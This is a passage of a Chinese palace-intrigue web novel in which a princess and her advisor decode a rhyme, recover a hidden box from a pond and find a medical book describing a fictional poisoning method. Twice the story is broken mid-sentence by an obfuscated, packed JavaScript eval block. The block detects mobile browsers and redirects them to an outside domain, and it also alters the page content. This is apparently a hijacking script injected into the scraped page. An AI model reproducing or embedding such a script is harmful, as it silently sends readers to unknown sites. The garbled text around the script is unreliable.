她眼神一暗,站起身清了清嗓子,正色道:“既然你说那蒋书生的画不合规矩,那你就给本宫画一幅合规矩的。” 林徵鸣一惊,瞪大了眼睛傻呵呵地看着她,似乎没有理解她话里的意思。 宋庭玉看出他的迟疑,微微不悦道:“琴棋书画,你连画画都不会?” 林徵鸣反应过来,连忙站起身,急切道:“当然会的,我画得可好了!在南梁,我的画作可是一画难求的。” 宋庭玉不信,低头笑着,走到窗前的贵妃榻边坐下:“那就让本宫看看,画得不好,可是要受罚的。” 她笑得有些意味深长,林徵鸣不知想到了什么,耳廓微微发烫。 宋庭玉饶有兴致地看着他急速升温的耳朵,新奇不已,没想到自己只是一句话,就能让他有这么大的反应。想起王都里时时流传他与林徵鸣的谣言,将他看作是公主府的男宠佞幸,只是她自己从未如此看待他。 不过如今,她却从林徵鸣的反应里忽然品味到了几分前朝公主女眷豢养男宠的乐趣。 林徵鸣艰难地出了门,到另一间书房里取来了画纸颜料,不想进门时宋庭玉已经换了个姿势:半倚在玉榻上,腰背后撑着一方金丝软枕,神色懒懒,拿着方才的那本谜语大全,有一搭没一搭地翻看。 她这样慵懒的神色难得一见,林徵鸣在自己的记忆里搜寻一番,发现除了第一次在沁月阁与她相对而坐、吃酒喝茶时,她曾露出这样的神情外,其余时候皆是一副严阵以待、忧思重重的样子。也是这一想,他惊觉与宋庭玉相识不过两月,可仿佛已经过了很久很久。 “愣着做什么呢?”宋庭玉从不知所云的谜语故事里抬起头,面露疑惑。他一手拿着笔,一手铺着纸,眼睛直愣愣地看着自己,像是秋日里飞过晴空的呆头雁。 见他仍旧不回身,她随手捏起一颗盐渍梅子,向他扔过去,不偏不倚打中了他的额头。 “噗。”宋庭玉也没想到自己会打得这么准,看着他眉心被梅子染上的一层瓷白糖霜,笑得前仰后合。 林徵鸣无奈,弯腰捡起梅子放在桌上,摸了摸额头,从袖中取出帕子看她一眼,摇了摇头,也不顾她还在大笑,铺开纸张,径自画了起来。 “喂!你不要挟私报复,若是将本宫画丑了,本宫可是要罚你的!” 这是她第二次提起这个“罚”字了。 若不是她依旧一副没开情窍、浑不在意的样子,林徵鸣真想逼问她一番:到底,想怎么惩罚自己? 他觉得自己思想龌龊,在心里连连告罪一番,见她仍不满意,只好道:“殿下只管好好看你的谜语,若画得不好,我随殿下处置。” 他说得漫不经心,宋庭玉却听得心思不定,弯弯绕绕的晦暗情丝轻轻缠绕着她的心头,被林徵鸣一句随口而出的话微微牵动,就能引起心尖百转千回地一颤。 她定了定神,继续翻开自己的书看起来。那书已经不是方才的谜语故事,夹在其中的小册子上赫然写着三个大字: 《春情录》 这还是她翻箱倒柜、从母亲留给她的嫁妆里翻出来的呢! 她看一眼春宫故事,又看一眼林徵鸣,再低头一看,哪里还有什么故事,字里行间,都已经变成林徵鸣的脸。 山中不知岁月,一转眼,宋庭玉已经在山上过了七日,若不是昨日陈伯送来的黄酒和粽子,宋庭玉竟不知端午已经到了。 “古人偷得浮生半日闲已经是难得,我这是闲了整整七日啊!” 宋庭玉将林徵鸣一大早摘来的荷叶盖在脑袋上,声音从荷叶底下传来,瓮声瓮气,听不分明。 林徵鸣幽怨地“哼”了一声,将手中的毛笔扔到一边,语带嘲讽:“殿下若是实在闲得无聊,不如帮我写几篇。” 说起这事,林徵鸣的满腹牢骚简直无处可诉。他一直以为自己终有一日可以有幸亲眼目睹《神兵》这样只存在于口口相传中的奇书,可谁承想自己竟成了编书之人。 既然是带有神话传奇色彩的奇书,必不能泛泛而谈,得有奇计妙方在内,若是养生健体或以寻常之药令人自掘坟墓的方子,他倒可以书写一二,只是用兵之计实在是难煞他也。这几日夜以继日沉浸于历代兵书之中,下笔之间自嘲如今竟也有了“纸上谈兵”的意味。 宋庭玉闷闷的笑声从荷叶下传过来,半晌,她才轻轻拿下荷叶,在手中理了理,笑道:“我才不管,你可是幕僚,总不能什么都不做吧!我呢,操劳日久,自然是要好好歇息一番的。” 这些日子在山中的生活涤荡了宋庭玉心中积压日久的焦躁疲累,和煦而不燥热的阳光给她以滋养,湿润温暖的草木气息给她以宁静,在自然之力的安抚下,她像是一个回到了母亲怀抱的婴孩,眉眼之间渐渐有了同她年龄相符的顽皮与活泼。 具体就是,她不在林徵鸣面前总是端着公主的架子,时时刻刻自称“本宫”了。他们之间一条本该分明的界限,在宋庭玉的刻意掩盖下,渐渐变得模糊起来。 林徵鸣将这些改变归因于她从责任和负担之下得以喘息片刻的放松,并对自己为她开的新药方洋洋自得。 他将书扔到一边,放弃般地:“不写了。”随即向后一靠,身后竹编的藤椅吱呀作响。 两人皆不说话,享受这难得的午后宁静。 一炷香的时间过去,宋庭玉昏昏欲睡,被林徵鸣突然起身的动作惊醒,她睡眼朦胧地茫然看去,就见他噔噔噔进了屋,不一会儿那着一个四四方方的玉盘出来,背上背着个篮子,宋庭玉没见过,从躺椅上起身,拿着荷叶做扇子,一边给自己扇风,一边看他折腾。林徵鸣将小桌上的笔墨纸砚纷纷推到一边,将玉盘放在桌上,宋庭玉这才看清玉盘方方正正,里面横平竖直地画着各自,像是一张细密的网。 "是棋盘?" 林徵鸣点点头,将篮子里的东西﹣﹣拿出来放在桌上,宋庭玉凑上前,拿起一个精巧的锉刀,挑眉道:"你仿制南梁世子的玉令牌时,用的就是这套东西吧?" 她将锉刀拿至眼前,细细看了看,刀刃锋利、做工细致,刀柄上刻着几个小字,是一句诗。 "你若是想下棋了,观里东西一应俱全,实在用不习惯也可以去府里拿,何必自己做一个。" 林徵鸣沿着提前画好的线,一点一点拿小刀将棋盘上的纹路刻出来,笑道:"当然不一样,再说我也不是为了下棋,做一做这样的事情,总能令我放松下来,在一雕一刻之间,你什么都可以不用去想,专心刻好每一笔就已经足够了。" 宋庭玉撑着下巴看他忙忙碌碌,指尖在棋盘上一一点过,似是忍俊不禁:"你这格子,可比一般的棋盘少多了啊。到时做出个不能用的东西出来,可怎么办呢?" 林徽鸣摇摇头,认真道:"本就不是拿来下一般的棋,南梁有一种特殊的玩法,用的就是这样的棋盘,有一棋谱与棋盘一一对应,上面标了数,对应哪行哪列的哪个格子……算了,一时半会说不清楚,等做出来你就知道了。" 宋庭玉摇荷叶的手一顿:"你的意思是,这个棋盘就像是一个可以标定位置的东西,有了你所说的的那个册子,就可以将每行每列一一对应起来,所以一组数,就代表了一个位置?" "嗯……是这个意思吧,但这并不是重点,重点是这个棋……" "我明白了!"宋庭玉眼前一亮,拊掌笑道:"你可真是聪慧极了!" 她站起身,匆匆忙忙进了屋,不一会儿拿着一个写好的信纸出来,团成一个卷放在竹筒里,朝天空打了个呼哨,不一会儿,一一只雪白的鸽子扑棱着翅膀飞了过来。 林徵鸣莫名其妙地看着她,实在不懂她为何突然兴奋了起来,对着自己手里的棋盘看了又看,也没看出什么名堂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470923|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋庭玉的信鸽是送给影卫的,到了傍晚,鸽子带着影卫的回信飞了回来,宋庭玉和林徵鸣相对而坐,正在用膳,听见鸽子的翅膀声,她来不及咽下嘴里的东西,迫不及待地起身迎了上去。鸽子极通灵性,在半空中划过一个小小的圈儿,就十分温顺地落在了她的手臂上。 她拆开鸽子腿上的竹筒,倒出信来匆匆扫过,半晌,手微微颤抖起来,眼里的光芒甚至亮过了此刻郎朗夜空的月亮。 "果然!" 林徵鸣跟在她身后,一脸莫名:"到底出什么事了?" 宋庭玉将手里的纸条递给他,林徵鸣一目十行的扫过,上面只写了短短一行字:"南书房,池底,今夜送至。" 她深吸一口气,一时竟不知从何说起。林徵鸣将纸条还给她,从桌上倒了一杯山楂玫瑰茶递给她,柔声安慰:"慢慢说,不要着急。" 宋庭玉接过茶杯,一饮而尽,喘了两口气,才慢慢道:"十七年前,那场大火前的几日,母一直给我念一首童谣。" "燕儿过南山,四五成一行。垂柳北口处,老翁看天忙。玉儿记住了吗?" "记住了,这是母妃自己做的诗吗?" 宁思沅看着女儿年幼懵懂的脸,脸上划过一丝忧愁不忍的神色:"不过一首歌谣罢了,玉儿若是记不住,也没关系的。" "母妃放心,玉儿一定牢牢记住,玉儿已经记住啦!" 宁思沅摸摸她毛茸茸的小脑袋,叹息着:"母亲想让你记住,可又觉得,你若是忘记了, 那也很好。" "那时候我不到两岁,又经历了一场大火,很多事都已经忘了个干净,唯独这首歌谣,竟念念不忘。我那是看不懂母妃的神色,现在想来,她一定是有什么话想要对我说,只是又在纠结矛盾,到底要不要告诉我,所以她才用了歌谣这样的方式。我若是还记得、能解出来那就罢了,若是忘记了、解不出来,那就让它成为一道永远的秘密,也未尝不好。" 林徵鸣皱眉:"能让贞妃娘娘如此反复斟酌、难以说出口的,一定是一件大事,也许,是会改变你命运的秘密。" 宋庭玉点点头:"春芜苑的那场大火来得蹊跷,那晚我恰巧在花园里的凉亭里小睡,所以躲过一劫。整个春芜苑除了我以外,无一人生还。母妃一定是预感到了什么,所以那几日才会一遍遍吟唱这首童谣。" "如此惨烈的祸事,皇帝竟然没有彻查吗?" 宋庭玉嘲讽地挑了挑嘴角:"我的好父皇,将此事定性为一场意外,不许任何人提起。烧毁在大火里的春芜苑,如今已经变成一处花园,全然没有往日的痕迹。" 林徵鸣恍然大悟:"所以你才会怀疑,皇帝与贞妃娘娘的死亡有关系。" 宋庭玉点点头:"皇宫里发生这样的事情,无论如何都要查个水落石出的,他的避而不谈,本身就是一种承认。"她不想再谈景元帝的狠辣与凉薄,转而道:"母亲留下的这首童谣,我百思不得其解,还是方才你的一番话提醒了我。小时候,春芜苑有一处池塘,清可见底,池塘底下是用琉璃贴成的个个方格,看上去就像一个棋盘,这处池塘就在春芜苑的南书房边。所以,这首歌谣的前两句,就是在标明位置。" "方才,我让影一找人去了春芜苑的旧址,在花园里果然找到了一处废弃的池塘,他说得不多,但一定是有所发现,想来今晚,我们就能知道真相了。" 林徵鸣沉吟片刻,口中念着方才听到的童谣:"那这后两句?" 宋庭玉摇摇头,叹了口气:"依然没有头绪。" 深夜,皇宫靠近春芜苑的东角门处,小太监敏喜小心地四下张望片刻,见宫道两边没人,迅速地一闪身,借着墙挡住了自己大半个身子,低声道:"大人,东西拿到了。" 他将怀里紧紧抱着的一个包裹交给门外伸进来的一双手,笑道:"不负殿下所托。" 影一压低了声音,递给他一个荷包:"多谢公公,拿去喝茶。" 敏喜急忙摆摆手,连声拒绝道:"哪能呢,为殿下办事是奴才们该做的,大人客气了。" 影一快速将荷包扔进敏喜的怀里:"公公不必推辞,这是殿下的意思。夜深露重,快回去吧!"说着,飞身而上,如一只灵活的鹞子,消失在墙头。 敏喜掂了掂手中的荷包,拍了拍身上因为爬进池底而沾染上的黑泥,眉开眼笑。 42. 又一个迷 子时已过,影一终于将包裹送上了翠屏山。 宋庭玉和林徵鸣皆在房中等候,她有些心绪不宁,不知自己将看到什么东西,又害怕到头来竹篮打水一场空。林徵鸣在一边陪着她等,默不作声地刻着自己的棋盘,一时之间,整个房间安静得只有刻刀轻轻划过玉石的声音。 还好,影一的到来打破了这凝滞而又焦灼的状态。 宋庭玉接过他双手奉上的包裹,放在桌上,此刻仿佛有了几分尘埃落定的感觉,倒是不急着打开了,让他坐下,问道:"是在哪里找到的?" 提起这事,影一也感到十分惊讶:"殿下神机妙算,属下万万想不到那废弃的池子里还能有一个暗格。收到殿下的信后,属下立刻联系了敏喜公公,嘱咐他暗中查探一番,万万不可走漏了风声。敏喜公公对殿下的事十分上心,当即借着给御花园修理花木的名义,去了芳荷殿,在原来春芜苑的南书房下果然找到了一方废弃的水池。" "水池久未经人打理,已是污浊异常,他下到池子底探查一番,却什么都没有找到。可敏喜公公机智非常,在池底的格子地砖上挨个敲敲打打,果然在第四行第五列的格子处,听到了奇怪的声音,那格子背后竟是空的。他撬开格子,里面果然有一个暗格,放着一个盒子,就是包裹里那个。应是怕水流浸泡坏了盒子里的东西,那盒子十分坚硬牢固。他趁着夜色拿出宫来,属下赶紧拿了上来。" 宋庭玉点点头:"你们都辛劳有加,尤其是那个敏喜公公,本宫不过是随手帮了他一把,竟能报答至此,也是个有情有义之人。" "你回去歇息吧,本宫看看这盒子。" 影一应声退下。 宋庭玉深吸一口气,走到桌前,拆开了包裹,里面果然是一个四方方的木盒,约一尺长,拿在手里沉甸甸的,十分厚重。她举起木盒对着烛光细看,上面光滑平整,只有棱边雕刻着云纹,八个顶角处各有一个圆圆的珠子,盒子顶端的面上,是一个长条形的凹槽,不知道是做什么的。 她轻轻晃了晃盒子,凑近细细聆听,没听到什么响动。 林徵鸣放下刻刀,左右观察一二,突然伸手,按下了凹槽上方的一个不起眼的方形凸起。"咔哒"一声,盒子微微响动,顶角上的珠子凹陷进去,长条形凹槽里渐渐凸起一个把手一样的东西。与此同时,原本光滑无痕的盒子表面出现四道裂痕,像是凭空形成了一个盖子。 宋庭玉惊讶地看向林徵鸣。 他无辜地与她对望片刻,不自在地移开视线,清了清嗓子道:"这是一个很罕见的机关,从南方海上传来,以前海盗们用它来储藏财宝,可以防水,如今却不常见了。我之前在书上看到过,也是第一次看见实物。" 宋庭玉低头喃喃:"你说自己不读书,实在是过谦了,我看你博览群书得很!" 她轻轻打开盒子,里面是一个用淡蓝色锦缎包起来的东西,像是一本书。她一层一层打开锦缎,呼吸抑制不住地急促起来。 随着锦缎被一点一点打开,里面的东西显露出了庐山真面目,这一个困扰她许久的谜题,终于解开了一半。 “《溧阳金方》?" 然而出乎她意料的是,里面的东西似乎只是一本平平无奇的医书。 "这是前朝流传下来的一本古医书,里面记载了很多如今已经遗失的药方。"林徵鸣惊讶地看去:"战乱四起,这本书也消失许久,即使有几个零星的方子流传至今,也是经过了许多人口口相传,难免有记错或者记遗漏的,故此书虽奇,却也无人敢用。没想到竟在这里出现了。" 他低头看了看:"似乎还是一本完整的。"他的眼里难得露出读书人对书本的渴望,口中啧啧称奇: "万万想不到这本书的完本竟在皇宫里。" 宋庭玉奇怪:"可是母妃并不通医理,为何要将一本医书如此费尽心思地保存呢?"她从盒子里拿出来,慢慢翻了翻,发现其中的一页被人折了起来: "栾心丸,以土麻黄为主,辅以穿心莲……等草药,草药无毒,皆为清热解毒,平肝郁燥火之用,若加一味苌石散,则使人心神混乱、头晕眼花、四肢发麻,与热毒类似,却失之毫厘谬以千里。" "什么意思?" 宋庭玉茫然抬头,看着林徵鸣。他接过书,前后翻了翻,仔细研读片刻,道:"是在说两种相似的症状,其实致病原因完全不同,若只解其表、不解其里,盲目用药,反而会加重病情。这栾心丸就是一个例子。若寻常服用,可以治疗热毒,可若加了另一味药,表征相似实则内里不同,此时若加大服用栾心丸的剂量,则会加重病情,甚至可致命。" 他看了看书页上深深的折痕:"这个法子甚是巧妙,若用于给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504940|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人下毒,可神不知鬼不觉要了人的性命,而不会留下任何蛛丝马迹。你们家里人有服用栾心丸的吗?" 宋庭玉摇摇头:"我不知道,宁家剩下的人丁不多,外祖母并没有服用丸药的习惯。" "那就奇怪了,贞妃娘娘为何要把这一页折起来呢?她定然是知道了什么,才会心神巨震,将此书留在池底,又告诉你含有线索的童谣。这个栾心丸一定是不可缺少的证据,只是我们还不知道它发挥了怎样的作用。" 宋庭玉叹了口气,将书扔在桌上,疲惫地揉揉眉心,眉间难掩焦躁:"还有后两句,到底是什么意思,真是一点头绪也没有。" 林徵鸣知道她等这一日已经等了太久,此刻谜底就在眼前,只是还蒙着一层让人一时无法看透的纱,朦朦胧胧、若隐若现,让人心烦意乱。 他将书抹平放好,依旧用锦缎包了,放回盒子里。 “无论如何,总归是可以印证殿下关于童谣的猜测是正确的,既然前两句指向的是一个方位,以此类推,后两句应该也是方位。” 宋庭玉点点头,既是说给他听,也是说给自己:“已经过去这么久了,不急在这一日两日。眼前倒是有一件十分要紧的事。” “雷州自去岁起,久旱降雨,百姓生计艰难,陛下免了赋税,算是勉勉强强度过一年。只是今年至现在,五月都过了,却还是未见一滴雨,百姓度日艰难,朝廷对派了人去发放赈灾粮,可终究不是长久之计。” “陛下本欲派太子同赈灾官员一并出发雷州,可出了绿歌坊的事情后,太子失了圣心,故粮队虽已先行出发,可钦差人选却悬而未决。” 林徵鸣听懂了她的意思:“你想去雷州?” 宋庭玉点点头:“雷州靠近鄂州边地,舅舅在那里驻军,我想去问问他关于栾心丸的事情。此时非同小可,非亲自去一趟不可。” “所以,”她正色道:“还有二十日就是万寿节,到时我要献书给陛下,借宣扬道典去雷州一趟。” 林徵鸣慢慢伸出一根手指,指向自己:“所以,要紧的事,指的是《神兵》?” 宋庭玉点点头,一脸:你以为呢。 林徵鸣叹气,一脸麻木地将棋盘拿了起来,生无可恋地转身往外走。 “干什么去?” “挑灯编书。”拉长的声音里满是不情不愿。